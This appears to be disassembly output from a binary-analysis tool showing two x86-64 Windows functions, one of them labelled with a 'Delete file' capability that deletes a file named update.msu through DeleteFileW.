call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtClose]
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysStringLen
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret

Function at 0x140016942
Capabilities:
Delete file

Disassembly:
jmp 0x140031590
push rbp
push rdi
sub rsp, 0x698
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x668], rax
lea rcx, [0x14007d6df]
call fcn.140016b68
mov edx, 0x410
lea rcx, [rbp + 0x10]
call fcn.140016825
mov rax, qword [0x140073c18]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400161f9
lea rdx, str.update.msu
lea rcx, [rbp + 0x10]
call fcn.140016af0
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x20]
lea rdx, [0x140059370]
call fcn.1400169a6
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret